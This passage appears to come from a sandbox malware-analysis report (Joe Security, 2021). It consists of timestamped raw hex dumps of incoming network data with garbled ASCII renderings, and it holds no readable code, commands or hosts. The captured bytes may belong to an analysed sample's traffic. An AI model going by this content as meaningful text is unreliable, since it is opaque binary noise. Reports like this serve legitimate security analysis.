0f 85 f0 0d d9 58 5a f8 64 20 6d 45 eb 59 88 ef e5 49 e8 92 f7 f1 68 f2 93 f9 e4 7d e8 59 c1 f2 5d 56 5a 68 bb 4b 3d f2 00 
9f 0b 99 dc f2 25 7c 73 c9 a7 f6 23 80 c7 c7 79 f8 3b 7c 4f 6d b1 dc c5 54 f1 6c 8e 7e 40 f8 52 db 5a 92 6b 41 99 17 7e c7 
74 39 86 3f 6d 4f 73 ef df 14 49 42 f4 4f 2e 7a 3a f5 f1 4b 11 f7 2d 1b b5 1b f0 e5 14 0b 12 0b 71 7d e8 c8 ee ca 9a f6 71 21
03 74 f5 86 eb 8e 68 7f 91 ba 4a ec 16 e8 
Data Ascii: yShM'KmlhNZ:X|*)d_)iT5P0VgZfF2*Q 7>Caq0gLO[l>5)@XZd mEYIh}Y]VZhK=%|s#y;|OmTl~@RZkA~t9?mO
sIBO.z:K-q}q!thJ

2021-10-12 14:35:51 UTC 115 IN Data Raw: 2e 91 cf 0f 02 e3 03 9b 6f 12 4d 47 53 30 33 a3 fc 88 81 47 5b a0 32 eb 8c be c2 8d 77 b0 dc dd 15 79 ab b0 
23 8d 8d ec cb b9 cb 0f e9 9c 7a f1 32 6f 84 5e b6 98 52 d3 d5 09 d1 e7 3f 73 c1 67 67 94 34 dd bd d8 59 a0 de 0e 8f 30 
ec 35 68 62 80 ce b9 3f e7 52 9e 91 52 7b b6 6b c5 44 3d 31 05 af b8 8a 48 cd 26 61 93 53 83 5a 24 35 61 29 6b 3f 72 53 
4c f6 0b 61 97 3e 99 0c 49 c9 96 cf f9 b2 14 c9 25 e5 a3 38 4c 5f a2 d1 f9 23 72 1e 34 f9 9c ac 8a fb 2a ce 37 fa 9f 03 d1 
6a b8 8a 86 8a fe 53 6e c6 c4 c2 b3 e2 c6 a3 1b 53 12 47 7b 84 8a 24 e3 9d 9a 6d b6 a4 b5 44 b9 95 f6 25 91 b2 f2 ec 5b 
04 7e d6 9c 94 82 56 dd 56 c2 b9 e5 87 83 b1 e8 1a 9e 05 2f c5 83 06 61 5c 99 73 f2 66 47 ae d7 87 cf e4 e7 8e 3c 41 09 
e0 6c 99 7f b1 3e 81 44 19 bf c8 be 00 1e 2c 0f f5 d1 
Data Ascii: .oMGS03G[2wy#z2o^R?sgg4Y05hb?RR{kD=1H&aSZ$5a)k?rSLa>I%8L_#r4*7jSnSG{$mD%[~VV/a\sfG<Al>D,

2021-10-12 14:35:51 UTC 116 IN Data Raw: ce 84 e0 a9 ca c3 a0 4a 1b 08 69 53 d0 ef c1 d6 51 d5 38 a5 70 bb c1 6d 62 d1 b3 ec ef 1e 69 bc ee 92 8d b3 
94 5e 0b 73 f0 26 c7 53 18 41 7b be 25 29 7f 3d fc c7 d7 6e 76 38 93 75 30 3f 78 30 5d 78 7c f6 8b 4a d4 5a 98 08 eb 32 
be 3f 19 aa 83 28 a9 2f 21 6e b0 60 8d ce 69 22 cc 88 e7 34 0c 55 74 97 72 51 db 02 4e 79 02 3a a1 15 e9 1e 96 8b 9b c1 
2f 6c d0 be b0 11 1f 82 e0 0d d4 bb b7 fa 64 2b d0 6f ff 46 a0 50 ee 56 f7 44 1b dc 61 f0 35 92 f5 79 fd d3 cd f4 4e 4a 51 
66 a1 aa 2f 20 17 b4 69 74 d5 e5 b3 47 68 59 af 08 3c 92 bb 18 7b e9 3c 7c 4e 80 bb f0 c4 5d 95 68 71 7f 68 fc 11 a1 43 
44 63 48 92 00 5b d1 64 34 93 29 d2 5d 54 de cc 64 1e 7a 0a 4a 0a 1e 39 fd f2 59 10 29 a8 5c cf 18 f0 e5 1d bc 06 00 71 
6d f7 c3 c8 1c 38 da 60 28 22 36 23 8e f7 f0 b1 55 87 
Data Ascii: JiSQ8pmbi^s&SA{%)=nv8u0?x0]x|JZ2?(/!n`i"4UtrQNy:/ld+oFPVDa5yNJQf/ itGhY<{<|N]hqhCDcH[d4)
]TdzJ9Y)\qm8`("6#U

2021-10-12 14:35:51 UTC 118 IN Data Raw: 04 62 34 c5 b3 2e 32 a0 36 03 18 09 f7 5d 04 5e 42 78 73 33 92 b9 c4 57 d7 77 a3 20 4f f4 fd d2 88 6b 4c df 8a 
58 7a c4 7d 34 57 90 22 1b 84 e5 28 f1 f2 3a f0 23 6e b7 a0 b7 b4 44 f7 fa 13 bd e3 3f 62 33 71 99 84 0e cd af f3 35 a1 cf 
0b 95 df e8 05 94 48 ae ef 01 3b b4 1c 9e 91 58 0a 86 6e c5 55 38 2c fb ae d4 c6 69 b6 63 60 93 57 81 d1 5d 6d 49 bc 63 
29 7b cc 6e 21 86 40 89 2d 9d 07 4e cb 02 86 ef 44 16 cf 53 89 80 3a 41 45 01 8f 97 cc 76 c4 34 ee 88 a0 82 ca 2c d5 c9 
fb 9b e4 c5 67 a8 b1 60 88 ef 5c e5 31 d2 38 bd f3 c4 a2 2a 9b 10 76 85 96 96 2d e5 34 a4 90 b6 58 b5 58 bb 86 e5 31 ac 
01 0c ed 77 0a 6c c4 5f 7d 55 f7 f0 54 d1 bc f3 8d 95 b4 f9 0e 87 e4 24 17 8a 2e f1 55 08 7f ed 0e 07 af c6 86 d6 61 a0 a3 
39 6e 63 ea 79 b4 4a a1 3b 95 b8 1a ef 87 b6 17 
Data Ascii: b4.26]^Bxs3Ww OkLXz}4W"(:#nD?b3q5H;XnU8,ic`W]mIc){n!@-NDS:AEv4,g`\18*v-4XX1wl_}UT$.Ua9ncyJ;

2021-10-12 14:35:51 UTC 119 IN Data Raw: e2 5c 96 80 a2 b2 0b fe a7 df a1 38 5b 16 18 9c 43 f8 c4 ac 5a 14 d4 3e ac 49 bb d7 45 8b c3 ba 9e 79 93 6e 
bd ec e8 d7 ac 85 44 93 ec cf 0b f2 54 ba 5a 7e b9 3c 3d 46 93 e3 d5 23 7e 5d 0e aa 9c 22 a5 56 36 d0 7f 76 26 98 59 cb 
50 af 0a c3 14 b1 17 2b 09 92 3d c9 29 35 46 08 6a 92 d7 52 12 ce 99 e0 03 b5 ab 75 b1 7c 9a cb 07 48 61 13 83 ee 3d e9 
18 80 0e 8b 4c 28 6d c3 9f b2 36 18 93 7a 23 d1 37 89 58 75 0a 66 6a ec 7a 2b fe ee 5c e9 44 35 de 61 fc 0a c3 f0 79 f7 
4e c1 d8 4c 66 47 61 20 8a 3c de 17 3a 75 44 c9 e6 37 56 d8 a6 50 fd 37 ae 6b 16 7b fe 26 ee 50 7e ba dd c7 7d ff 0e 66 
68 e0 d6 51 d2 43 e6 72 75 9c 07 42 f9 d6 39 8c 2a 38 74 bb ec ce 19 41 f6 0d 4e 02 6b 38 de e3 61 10 37 30 4b 4e 1a f1 
41 1a 12 15 14 65 44 40 d7 dc 3e 8f f2 a4 21 0a 6a 35 03 
Data Ascii: \8[CZ>IEynDTZ~<=F#~]"V6v&YP+=)5FjRu|Ha=L(m6z#7Xufjz+\D5ayNLfGa <:uD7VP7k{&P~}fhQCruB9*8t
ANk8a70KNAeD@>!j5

2021-10-12 14:35:51 UTC 120 IN Data Raw: df 5f 66 2b 5a 2a 76 fa 03 b4 2e 95 85 1e 34 e3 09 fd 5f 00 59 4d 7b 08 33 83 b6 0e 4b d4 5b a0 3a 74 d6 f8 c3 
8b 5b 96 de a6 5c 50 9a b4 34 5d a3 f3 44 92 cb 19 65 ca 3f f0 33 78 b5 5c 9e bf 44 e3 d6 21 8a e6 3f 79 45 94 66 85 24 
dd ac f1 24 ce 2f 0f 8f 27 86 cf 94 63 a6 d7 9f 01 d5 d4 9e 91 40 43 8d 89 c7 55 32 a0 d1 ae 94 86 59 aa 72 7c 87 7f a9 25 
62 32 77 a0 64 29 71 7a 6d e3 1f 43 2a 2d 9c 06 70 e4 89 31 fe 88 2d 23 5c a2 a8 29 54 49 f1 bf fc 23 70 d2 b3 e5 8f a9 
8b fe 3b c3 e1 58 b3 06 cd 4f 8b 9c 83 8c f9 7e 91 3a c5 e4 98 13 d7 a6 11 53 0b 48 ad ad a2 2e e3 9d 29 97 b6 a4 b4 4c 
be 84 de 97 94 aa 06 c5 5d 0f 7d c7 50 ab bc d9 f6 5c ea 51 eb 9e 9a 9c 5d 0b 9b 10 09 26 93 23 e1 74 1e 70 f0 1b 14 22 
d0 83 cd 9e b5 9b 28 6d a2 f6 6a bb 62 2c 3e 8b 4c 
Data Ascii: _f+Z*v.4_YM{3K[:t[\P4]De?3x\D!?yEf$$/'c@CU2Yr|%b2wd)qzmC*-p1-#\)TI#p;XO~:SH.)L]}P\Q]&#tp"(mjb,>L

2021-10-12 14:35:51 UTC 121 IN Data Raw: a7 0b 02 90 41 db 71 82 8a b3 0b ee 14 a5 d9 c4 cf dc 17 12 9d 4a 93 44 c2 ad 1f bb b1 a0 58 b6 d0 69 7b d2 
a9 8f 6e 0f 7e a2 f5 17 c5 9e 80 4b 83 d5 ee 26 94 53 18 41 0f 5a 29 29 68 23 f1 ca 33 7c 4d 1a 93 64 39 bd ae 20 71 72 7f
1f 43 b4 2b be af 05 f8 25 b4 06 3a b4 8a dc dc 11 2a 7f be 7b 86 47 69 2a d3 93 f9 3c 00 ba 62 a4 4e a9 cb 2b 58 79 02 
83 3b 3c e9 18 ad 92 8e 4c 28 73 dc ac b4 16 1f 92 e9 00 2f 36 a4 ee 75 3b 0c 32 f9 52 8c ef fd 7e e1 6e f6 db 72 f6 02 53 
e4 6e f7 5e c5 e6 51 b9 50 5b a5 8d 8f df 16 98 7b 68 ce e5 23 6f 6c b9 78 09 22 aa a5 04 71 e9 27 5d 3a 7c ba dc cb 76 
fd 3b 70 6e 7b f2 af d3 6e 4d 1d c4 88 13 5c dc 69 2a 9b 20 3d 4b 67 f0 30 1e 7a 58 1b 43 6d 96 2a fd f4 54 69 f0 be 74 44 
75 0c e2 0b 37 19 6f a0 6e e3 dd b3 ca 9a da 66 
Data Ascii: AqJDXi{n~K&SAZ))h#3|Md9 qrC+%:*{Gi*<bN+Xy;<L(s/6u;2R~nrSn^QP[{h#olx"q']:|v;pn{nM\i* =Kg0zXCm*TitDu
7onf
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transferred Direction Data

Copyright Joe Security LLC 2021 Page 39 of 70



2021-10-12 14:35:51 UTC 123 IN Data Raw: b9 ac 73 93 ac db 27 3c 45 8b 2c 7c 2d 9a 4a 2f 95 a6 2e 6c 32 0b f7 46 7d b3 46 53 36 20 8d ad dd d7 9a 5a 
a0 3c 4d fe d5 df 8f 73 b4 cd ad 25 5a a9 b4 32 44 8a 2b 56 9a a4 27 ea e1 39 e1 22 7a a2 76 9b 9d 41 e5 f8 27 ac e6 39 
5b da 65 67 8f 4d ea ba e0 36 b0 ce 1f 84 09 c4 2c 96 65 84 ea b8 39 dd fd 72 93 52 6c ca 48 c7 55 3e 3d eb ad fb b7 48 
b6 65 66 82 47 ee 34 63 34 6b f3 6c 0c 59 4c 79 f7 01 78 9d 05 a4 0c 58 c6 52 31 e9 94 12 1d 4d a8 b3 32 59 4a e7 e2 06 
dc 89 d5 2b f5 59 ba 9f fb 3a c6 df 75 04 39 2c 9a 5d 66 85 a0 ef 17 4d 38 c5 ee b0 fa d5 f5 1b 42 17 57 85 85 a6 70 e5 8b 
a4 82 b6 a4 b5 42 aa 90 f7 34 94 aa 0c 70 77 0a 7d ac 47 83 54 d1 f4 56 c2 b7 e9 9e 90 ae e8 0b 9a 01 15 32 82 65 f4 5c 
99 76 f1 1d 13 ad dd 81 db f0 40 8e 3c 4f 1e a9 59 b9 
Data Ascii: s'<E,|-J/.l2F}FS6 Z<Ms%Z2D+V'9"zvA'9[egM6,e9rRlHU>=HefG4c4klYLyxXR1M2YJ+Y:u9,]fM8BWpB4pw
}GTV2e\v@<OY

2021-10-12 14:35:51 UTC 124 IN Data Raw: 74 ad 25 f6 fd b2 af 01 42 75 86 78 93 82 a6 de fc 84 a6 d9 ca a2 5f 6b 6e 96 52 f8 e6 c3 be 25 d0 38 4b 58 bc 
c3 65 65 c7 ab 9a 90 0b 24 bd ec eb c6 cc a1 5a 85 c0 97 70 f3 52 1c 49 b0 e0 28 29 6c 18 f7 d5 29 65 72 1a 83 73 2c d8 
2d 20 5d 7c 75 32 67 4b c2 bf b1 16 ed 1e 99 15 2e 25 34 5f 5d 3c 21 6a a9 68 e9 5d 7b 2f c8 b1 b2 29 00 a1 08 c4 44 57 
ce 04 5e 6a 7c d4 2c 3e ed 1c ec 03 8d 4c 2c 44 3d bd a3 1c 0a 91 08 1d c7 c9 89 f1 63 06 5f 7c fc dc 3f 83 6c 57 fd 68 f4 
df 1a 78 1c 4e f3 51 af 4d d2 f3 20 c6 50 77 a8 b1 2a dc 6d 19 65 65 d9 f0 58 fc 7a a6 54 df ce 84 a8 1f 7e ec cf 62 41 80 
bb d0 dc 73 a9 2e 75 f1 db 94 d5 d3 42 40 61 55 f3 97 57 d1 71 11 d4 22 2c 56 05 6c cf 1f 52 7e 1c 4c 79 e9 2a fd f6 40 7d
a5 bd 74 4a 32 1d e1 0b 3b 03 05 ff db 9e 51 
Data Ascii: t%Bux_knR%8KXee$ZpRI()l)ers,- ]|u2gK.%4_]<!jh]{/)DW^j|,>L,D=c_|?lWhxNQM Pw*meeXzT~bAs.uB
@aUWq",VlR~Ly*@}tJ2;Q

2021-10-12 14:35:51 UTC 125 IN Data Raw: 55 3c 13 24 35 82 f7 62 f6 ac db 25 31 b0 7f 03 76 01 ee a9 02 8f 88 1b 01 e3 0f dd 16 6c d4 46 53 34 2f 19 99 
fe a2 f0 47 bf 08 43 fd d5 ee 8f 73 b4 f4 fc 28 e1 aa b4 30 4a 00 1f 6b 99 ed 12 f7 dd 20 ff 1a 46 ac 5e b0 b2 1b 9d 49 08 
ae e2 21 e9 13 4a 6c a3 3c d1 f3 ff 3d 89 f3 0c 8f 27 c3 4b e8 fa ad c4 be 26 d2 4f bb bc 5e 40 ba 67 da 0d 27 20 d3 83 96 
9d 4c 9c 01 1e 0a 56 81 25 7d 3e fb 08 4e 25 57 64 73 e8 6f 74 82 05 b1 0e 58 ca a6 6f 86 07 04 cb 5a bd a9 a2 6d 70 d2 
b1 e7 28 69 ab 27 ca a2 ab 8a ec 05 b5 b7 62 b2 06 c3 78 ae 03 a6 a7 e3 70 66 34 da 9c af e6 fd 8b 19 42 11 76 eb fb 3f 
2f e5 8f bb 9d 2c 81 98 57 8c 8f fb 14 1a aa 0c ed 68 00 55 ec 44 83 52 f1 98 28 5b b9 e9 9a 8f ba 72 2e b6 15 03 24 8c 1f 
6d 5c 99 73 ef 17 2a 82 d5 83 cb b5 cf f1 a5 
Data Ascii: U<$5b%1vlFS4/GCs(0Jk F^I!Jl<='K&O^@g' LV%}>N%WdsotXoZmp(i'bxpf4Bv?/,WhUDR([r.$m\s*

2021-10-12 14:35:51 UTC 127 IN Data Raw: 5a 22 df 84 5f 54 29 3d f6 fd ad dd 2e be 60 cc 52 f9 fe 3d dc 81 fb b8 ef 54 85 76 18 34 88 64 dc 40 c1 ad 15 
cc 10 8c 5a bc c5 47 0e b9 23 99 6e 1a 76 8a 76 cc e9 bc b2 45 b2 e4 64 0c f2 52 01 63 4d af 28 2f 44 5a 9d 4c 28 6f 5e 
05 ba e9 03 88 5e 07 42 40 56 b7 9b 4a d4 5a 98 31 e9 32 b2 3d 47 d5 1a 23 dd 39 3e 57 31 4f bf d3 5c 30 f5 b9 7c 29 00 
ab 69 93 68 55 ca 01 62 02 79 32 2c 3e ed 01 ad 19 a9 61 26 4a cf 85 83 8a 0c 85 f6 01 f9 1a 8a fa 62 00 18 00 61 53 88 
fa f1 6d 67 49 db d3 47 e5 26 6e 54 7b f7 4f cb d1 70 45 51 71 86 db 42 47 17 98 60 7a e1 68 06 53 74 80 4f cb 03 20 aa 
15 7b e7 38 4b 7a 7c ba da fe 35 90 b5 71 7f 68 f6 6c 48 67 69 6d 71 97 2e 76 7e 77 39 8c 37 04 71 7a ef c8 35 3c 05 93 
4f 02 6e 34 c3 68 67 2b 2f 9a 6b 70 3a 40 e1 0b 31 16 
Data Ascii: Z"_T)=.`R=Tv4d@ZG#nvvEdRcM(/DZL(o^^B@VJZ12=G#9>W1O\0|)ihUby2,>a&JbaSmgIG&nT{Op
EQqBG`zhStO {8Kz|5qhlHgimq.v~w97qz5<On4hg+/kp:@1

2021-10-12 14:35:51 UTC 128 IN Data Raw: 65 14 01 e2 79 7d 17 3b 4e 4d 31 a0 1c 6b b2 be bb 0f 07 54 08 63 42 d5 22 2a 95 a0 2a 2b ce 0b f7 4a 38 23 
39 ca 31 33 87 a3 b5 33 f3 76 af 1e 43 97 dd 59 89 73 b2 c1 b6 7e 55 a9 b4 32 7d f0 44 df 93 cb 0b f7 86 a5 d5 1f 65 88 
41 d1 b8 eb e7 d0 09 b5 ce 12 71 36 61 4d eb 5c 57 b9 e0 34 be b6 94 aa 0c e6 0f 89 0b 8c 6b be 39 db ca 91 b9 7f 64 a5 
68 ef 3f 46 b5 fa ae 90 82 23 2c 46 4d 9d 71 9e 48 42 8a 65 2d 63 32 59 56 7b f7 0d 41 e7 53 05 0d 58 c8 93 5b 62 bb 28 
c4 78 bd c8 18 8b 59 d9 97 e7 06 5e e9 3c e2 89 83 e4 94 b6 d6 c9 ff ac 6d 5d 42 8f 96 a5 95 84 76 91 3c c5 ee af f1 fd 
8b 19 42 11 76 eb fb 3f 2f e5 8f bb fc 2c 81 98 57 8c 8f 9a 14 67 ae 0c ed 68 1f 55 ec 44 83 52 f1 9c 28 5b b9 e9 9a 8f d9 
72 2e b6 14 03 24 ef 1f fd 59 99 73 ec 35 2f ad d7 85 
Data Ascii: ey};NM1kTcB"**+J8#9133vCYs~U2}DeAq6aM\W4k9dh?F#,FMqHBe-c2YV{ASX[b(xY^<m]Bv<Bv?/,WghUDR([
r.$Ys5/

2021-10-12 14:35:51 UTC 129 IN Data Raw: 4c 22 5c e7 1a 51 0c 69 9b 6a 74 8d 4a f1 fd b3 ef 2b 91 62 ca 7e b9 02 da 44 80 ff a3 f9 5f a0 5b 16 88 b2 7f 
ed ea e3 3c 15 d4 38 81 21 bb c3 6d 7e ef 97 9a 6e 18 43 3f 92 70 c5 b2 90 7a 17 c4 ea 0e 68 77 35 5a 46 8d ba 29 6e 30 
c3 a8 2e 6f 5a 02 aa 5e 24 a5 56 0b df 06 ef 27 99 4e f4 d2 b0 1c eb a8 91 3a 3c 8d a3 b1 dd 3d 21 4e d4 6d 92 dd 67 07 
e1 9b ea 2d 2a 29 0b 22 44 57 ce 27 dc 68 07 ab b7 1b c4 0f b1 a3 18 4c 28 6c f0 39 a4 16 0e 9b de 31 d3 37 8e d0 e6 54 
eb 7f f8 56 a8 6b ee 56 fd f6 d3 f0 70 dc 3d db f7 79 f7 6f 5c fe 5d 47 46 5f 81 b7 3c d8 3c 1a 1a fc dc f2 27 5e ed a6 50 f7 
b9 a3 85 04 5d d8 a7 63 57 7e 9a 53 d3 5f ee 3b 58 52 6e e9 57 f8 c0 3a fa 56 88 17 76 46 75 39 8c ba 09 71 69 c9 ee 88 
56 7b 0a 6e 92 6d 2b fd e8 6a 2b 23 bc 72 64 98 
Data Ascii: L"\QijtJ+b~D_[<8!m~nC?pzhw5ZF)n0.oZ^$V'N:<=!Nmg-*)"DW'hL(l917TVkVp=yo\]GF_<<'^P]cW~S_;XR
nW:VvFu9qiV{nm+j+#rd

2021-10-12 14:35:51 UTC 130 IN Data Raw: 5f 4d 85 10 9e 96 04 3f 60 0d b0 68 da fe d1 24 97 81 41 46 ea 70 31 6d 9d 21 4e e8 ed d6 18 71 ec 56 c9 9c 
c6 04 ce 76 96 27 a0 15 6f ed c0 ad b4 94 ec 25 e6 d8 7c 34 35 8a 86 fb 2b aa da 1d c9 96 1a 34 2f a6 1c 55 19 f5 ca 6f 
d9 28 89 49 68 73 dd a3 d6 a0 62 36 0f 86 ae 0f 0d a6 e8 ad 06 86 2c 29 90 16 a3 ac 4d 26 0c b2 10 3c 6e 00 97 87 d5 21 
8a a5 e3 28 f3 99 f4 f5 8f 35 e3 48 c0 72 04 64 93 93 c8 4c 22 5c e7 1a 51 0c 53 9b 6a 74 8d 69 fe fd b3 ef 2b 91 62 ca 7e 
b9 02 da 44 80 ff a3 f9 65 a0 5b 16 88 b2 7f ed ea e3 06 15 d4 38 81 02 b4 c3 6d 7a ef 97 9a 6e 18 43 3f 92 70 c5 b2 90 
7a 29 c4 ea 0e 68 77 35 5a 46 8d 84 29 6e 30 c3 b7 21 6f 5a 03 aa 5e 24 a5 56 0b db 06 ef 27 99 4e f4 ec b0 1c eb a8 91 
3a 3f 8d a3 8f dd 3d 21 4e ce 62 92 dd 65 20 e4 b4 e8 
Data Ascii: _M?`h$AFp1m!NqVv'o%|45+4/Uo(Ihsb6,)M&<n!(5HrdL"\QSjti+b~De[8mznC?pz)hw5ZF)n0!oZ^$V'N:?=!Nbe 

2021-10-12 14:35:51 UTC 131 IN Data Raw: 9e cd 36 1f 1c 5b fc 8f 95 1e 37 1f 00 e8 02 8c 45 f6 f3 5a 8e a7 93 1f 70 fe e6 70 7c 2b f8 3c 8a 8c 8b 71 a6 cc 
9a e7 3e 57 28 e6 bf b7 ca a7 68 da bb d6 f3 18 23 19 f2 20 f8 24 40 53 67 73 6f 05 3b 77 67 38 b4 53 e0 8f f1 c6 d4 cb ba 
15 3a 0b 22 46 dd aa 5c 33 28 3c 04 fb 77 d0 82 5c 64 6a 08 21 c1 dc 68 ef 16 58 55 1b 01 21 f7 05 b0 0f 64 54 02 8e 0a 
b6 16 08 34 fb 28 53 12 ab 5e 92 9b 89 15 ee 09 da 8e 14 5d 6e 7a ae 0c e2 69 5b 31 c0 24 33 a8 81 01 64 ad db 3e 0f 02 
77 2c 7c 21 df 30 50 0c a1 36 07 c3 db f7 4c 12 d7 62 7e 22 15 a3 6e d3 a9 d6 7b e2 33 5c f1 e2 e5 a5 5e b0 de a0 7c fe 
d5 2d 35 57 9e 1a 95 92 cb 0f 72 c4 12 e2 14 4b 7d 5e b6 98 61 8b db 09 ae f9 18 5b 1b 65 67 83 08 48 c6 79 31 a1 da 2e 
5b 21 e9 29 0c 46 81 d6 9c 19 0f d5 9e 91 72 e9 
Data Ascii: 6[7EZpp|+<q>W(h# $@Sgso;wg8S:"F\3(<w\dj!hXU!dT4(S^]nzi[1$3d>w,|!0P6Lb~"n{3\^|-5WrK}^a[egHy1.[!)Fr

2021-10-12 14:35:51 UTC 132 IN Data Raw: 14 bb 3e 13 c8 21 4e a1 3d 88 90 d0 99 60 0d 2a 6d d3 e7 f7 04 7c 95 69 6b c8 8c 3a 47 1b 42 ff c4 ef d2 3e fc 
6e 28 50 07 e3 2d fc a5 b6 80 a0 8f 4a e0 e9 83 94 61 f3 2c ce d5 7d 3a 33 a0 1a ad 9f a9 da 1f c3 bc 64 ad 2e 3c 3d 58 fd 
d3 ea c7 43 0d a4 78 0f 5b 2b a3 c9 b0 6a 1c 03 86 a8 3f a7 f5 73 ac 00 a8 8e fe 09 17 a3 32 48 fc 1d 94 30 0f 4b 2d 86 
81 a4 de 8a a5 f8 20 d5 95 f4 f3 bf 9f b0 d3 c1 74 2a c6 47 0a c9 4c bc 59 32 0b 77 2c 63 be 47 65 8b 1f 0e fd b3 f5 23 b3 
6e ca 78 8a a8 89 df 81 f9 8d 5b b0 39 5a 16 16 b7 ab fc cc c3 37 30 f9 29 87 78 45 c3 6d 64 e7 a8 96 6e 1e 74 95 c1 eb 
c4 b4 be d8 fb 5d eb 0e f6 72 e2 4b 60 ad b2 0c 43 21 c5 f5 d3 6f 5a 1a a2 6a 28 a5 50 3c 75 55 74 26 9f 60 52 3f 29 1d 
eb 36 94 ec 2d ab 83 b8 f8 10 33 48 8b 91 92 dd 
Data Ascii: >!N=`*m|ik:GB>n(P-Ja,}:3d.<=XCx[+j?s2H0K- t*GLY2w,cGe#nx[9Z70)xEmdnt]rK`C!oZj(P<uUt&`R?)6-3H

Timestamp
kBytes
transferred Direction Data
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2021-10-12 14:35:51 UTC 134 IN Data Raw: 79 19 a8 e6 63 94 82 48 86 1d c1 dd 82 9c 39 17 d2 9a cd 2f bd f0 dc e8 5b 91 84 9b 22 62 fe e0 44 d2 78 63 
3d 8c a2 2d c1 3f cd 9a 79 3b 66 3b c0 9f e3 ef 8a 7a dc 2d c0 f2 18 3c 1b c2 1d fa 24 59 58 c9 20 f4 04 3d 59 c1 89 2d 52 
e0 11 f4 f6 c7 ed 9a 40 1f 26 30 40 25 bd 5d 33 37 3e 15 c6 75 d0 9b 7f ca 39 93 20 c7 f2 ce 41 8f 59 55 85 04 12 e4 23 90
45 41 79 10 88 d0 a2 17 08 2b f8 42 6e 10 ab 47 ab 35 da 8e ef 0f f4 2c bb c4 6f 7a 30 09 d0 7a 7d 11 8b 01 1e b9 87 3c 
70 ac db 21 0a 7f 4a 2e 7c 3c dd 9b 2c 95 a6 1c 85 9d 90 f6 4c 16 6d 67 52 30 33 19 99 fe bb f0 7b 80 39 5c f1 dd 99 9d 
73 b2 c1 a9 7e 55 a9 b4 32 7d 18 44 df 93 cb 0b c8 c0 3e f0 32 f1 8b 73 a7 be 61 c2 d1 09 ae c6 56 63 36 67 79 ad 0f cc 
b8 e6 1a 27 a0 97 8e 21 ed 09 b4 62 ac c4 20 1c f6 
Data Ascii: ycH9/["bDxc=-?y;f;z-<$YX =Y-R@&0@%]37>u9 AYU#EAy+BnG5,oz0z}<p!J.|<,LmgR03{9\s~U2}D>2saVc
6gy'!b 

2021-10-12 14:35:51 UTC 135 IN Data Raw: b9 07 cd 29 f1 07 bb 38 26 6e 77 fa a2 3d 8a 9a a2 e7 f9 0c b0 4c de b4 d0 24 88 0f 4c 46 fa 56 17 05 1a 5f d7 
c9 fd c0 38 d6 f3 45 e1 2b e1 29 da 7a 30 fe 39 14 6f c9 d8 e6 b5 94 f3 b6 eb d8 6c 12 13 e3 01 85 b2 8b f9 0b e9 3e 05 
10 07 11 3b 78 0d f9 6c b9 40 29 89 6d 09 3f dc a3 c9 2a 6f 36 1f a0 88 61 8e d8 71 8c 41 90 0c 80 8f 09 8b 1b 6a 0b 1b 
be b6 eb f7 01 97 a3 a4 6c 8b a5 f8 9a fb b6 e6 d5 85 f2 9c d1 c1 52 66 56 39 93 d7 68 90 54 c8 0b 71 06 7f e5 f3 75 ad 
3b d6 bb b2 f5 03 26 45 e7 6a b5 a0 e2 dc 81 ff 87 53 dc a0 5b 09 31 bf 7f fe cc c5 87 93 aa a1 a0 58 b8 e3 2a 65 c7 ba 
02 4b 33 7b 9b cc ae c5 b2 94 7a 28 d6 ea 0e ed 76 30 66 62 ad 2e 03 e8 4e 7a d4 29 6b 7a 52 83 73 26 3f 75 0c 4f 5e 56 
6e 98 4a d4 61 61 0e eb 32 ab 18 05 86 81 22 db 17 a7 
Data Ascii: )8&nw=L$LFV_8E+)z09ol>;xl@)m?*o6aqAjlRfV9hTqu;&EjS[1X*eK3{z(v0fb.Nz)kzRs&?uO^VnJaa2"

2021-10-12 14:35:51 UTC 136 IN Data Raw: e4 7c 50 0c 1f 50 34 aa 7c 40 93 11 10 3f 74 c0 d9 a2 a7 55 02 d2 00 f6 2a 81 d4 fc f5 70 13 fa 22 33 72 fa c0 
33 fb 55 61 a7 af a5 ba 99 86 a5 9b 7d 1b 5a 4f d5 9f 79 d4 8f 45 f8 0d da d9 9a 42 a2 db 0d fe 04 2c 78 e1 0d 6c 21 16 62
61 d7 de 52 e0 15 f4 96 d3 ed 9a c0 12 26 20 66 03 8a de 4d ae 1f 2c d2 55 bb 85 76 e2 8e b4 0d d0 fe 68 54 17 58 55 a1 
a5 19 e5 23 8a f7 49 56 02 a8 da 3e 68 91 2a d8 04 5e 7c aa 58 b8 87 d2 a1 fe 2f fe c2 c4 5d 6e 5a b1 3c cf 7b 66 39 3c 
26 33 ae 8b 9a 11 34 da 21 2e 0a 37 2f 7c 27 6f 93 03 87 86 16 6e e2 09 f7 6c 98 58 47 53 2f 38 ab 91 d1 a9 d0 71 26 46 
c5 f0 fd c7 ad 1d b3 de a6 cc 5d 86 a6 12 77 f4 3b 46 92 eb 9a fd e1 3f ef 3e 43 83 5c b6 9e 6b 65 ae 90 af e6 3b 53 59 66 
67 85 b8 eb 95 f2 16 81 b1 0f 8f 21 c9 88 83 63 
Data Ascii: |PP4|@?tU*p"3r3Ua}ZOyEB,xl!baR& fM,UvhTXU#IV>h*^|X/]nZ<{f9<&34!.7/|'onlXGS/8q&F]w;F?>C\ke;SYfg!c

2021-10-12 14:35:51 UTC 137 IN Data Raw: 55 f8 0f 1c 06 92 81 b3 90 1c 16 bf 18 b6 4b 5f d7 3a 18 a1 a2 02 b9 ef 0c b0 48 de 5c c6 24 88 8a 7a 43 c5 72 
37 41 31 d9 a9 70 ec d2 3c f6 7c 57 c9 06 79 0c f1 42 90 a0 30 14 6f cd d8 18 a3 94 f3 33 c7 dd 53 36 33 a6 2a 03 cc 32 
db 19 ed 1e 8b 35 2f 3c a3 5d 26 c1 cc e7 48 29 89 69 09 bd ca a3 c9 af 44 33 20 84 a8 23 a5 5e 0f 35 07 82 08 a0 02 17 
a3 36 f2 2e 30 86 16 b5 fc 01 97 a7 a4 fd 9d a5 f8 1f d2 b3 d9 f1 a5 b1 b7 53 bf eb 01 44 3d b3 5b 4d b8 79 50 2e 5a 3d df 
bb f9 75 ad 3f d6 1d a4 f5 03 a5 48 e7 7a 93 86 8e 5f ff 66 a6 d9 ca 80 cf 17 12 97 c8 d9 e1 d2 8b 35 40 39 a1 58 9c 20 7a 
64 c7 a1 b0 43 1c 69 bb c6 6b ba 2b 95 5a 81 e4 7f 0f f2 52 82 6e 4d bc 0e 09 fb 31 e3 d5 09 87 4d 1a 82 6e 0e 88 52 21 
5b 52 f4 58 00 4b d4 45 90 8a ea 32 b4 8d 08 86 
